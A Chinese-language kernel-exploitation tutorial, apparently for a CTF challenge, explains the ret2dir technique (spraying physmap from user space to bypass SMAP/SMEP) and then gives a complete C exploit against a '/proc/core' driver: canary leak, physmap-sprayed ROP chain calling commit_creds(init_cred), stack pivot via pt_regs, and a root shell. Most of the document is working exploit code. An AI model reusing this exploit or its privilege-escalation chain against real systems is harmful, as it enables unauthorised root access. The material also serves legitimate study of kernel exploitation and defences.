physmap是內核管理的一塊非常大的連續的虛擬內存空間,為了提高效率,該空間地址和RAM地址直接映射。RAM相對physmap要小得多,導致了任何一個RAM地址都可以在physmap中找到其對應的虛擬內存地址。另一方面,我們知道用戶空間的虛擬內存也會映射到RAM。這就存在兩個虛擬內存地址(一個在physmap地址,一個在用戶空間地址)映射到同一個RAM地址的情況。也就是說,我們在用戶空間里創建的數據,代碼很有可能映射到physmap空間。基于這個理論在用戶空間用mmap()把提權代碼映射到內存,然后再在physmap里找到其對應的副本,修改EIP跳到副本執行就可以了。因為physmap本身就是在內核空間里,所以SMAP/SMEP都不會發揮作用。
在新版的內核當中 direct mapping area 已經不再具有可執行權限,因此我們很難再在用戶空間直接布置 shellcode 進行利用,但我們仍能通過在用戶空間布置 ROP 鏈的方式完成利用,即rsp修改到physmap上的某個偏移處,然后ret
說白了就是可以在內核地址找到一塊用戶態控制的內存
- mmap 大量的內存(rop chains 等),提高命中的概率
以頁為單位mmap分配,除了最后布置rop鏈,前面布置ret的地址 - 泄露出 slab 的地址,計算出 physmap的地址(開啟KALSR后physmap地址是隨機的)
- 劫持內核執行流到 physmap 上
棧遷移到ptr_regs,然后再pop rsp ret
棧遷移到physmap上
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>size_t try_hit = 0xffff880000000000 + 0x7000000;
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rsp_ret = 0xffffffff81001689;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t ret = 0xFFFFFFFF8100168A;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}void get_shell() { system("/bin/sh"); }int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;add_rsp_0xe8_ret += offset;pop_rsp_ret += offset;ret += offset;swapgs_restore_regs_and_return_to_usermode += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}void physmap_spray() {size_t page_size = sysconf(_SC_PAGESIZE);size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);int it = 0;for (; it < (page_size / 8 - 11); it++) {rop[it] = ret;}rop[it++] = pop_rdi_ret;rop[it++] = init_cred;rop[it++] = commit_creds;rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;rop[it++] = 0;rop[it++] = 0;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;puts("[*] Spraying physmap...");for (int i = 1; i < 30000; i++) {void *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(page, rop, page_size);}
}int main() {rebase();save_status();physmap_spray();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;*(size_t *) &buf[80] = add_rsp_0xe8_ret;core_write(buf, sizeof(buf));__asm__("mov r15, pop_rsp_ret;""mov r14, try_hit;""mov r13, 0x3333333333333333;""mov r12, 0x4444444444444444;""mov rbp, 0x5555555555555555;""mov rbx, 0x6666666666666666;""mov r11, 0x7777777777777777;""mov r10, 0x8888888888888888;""mov r9, 0x9999999999999999;""mov r8, 0xaaaaaaaaaaaaaaaa;""mov rcx, 0xbbbbbbbbbbbbbbbb;""mov rax, 16;""mov rdx, 0xffffffffffff0058;""mov rsi, 0x6677889A;""mov rdi, core_fd;""syscall;");system("/bin/sh");return 0;
}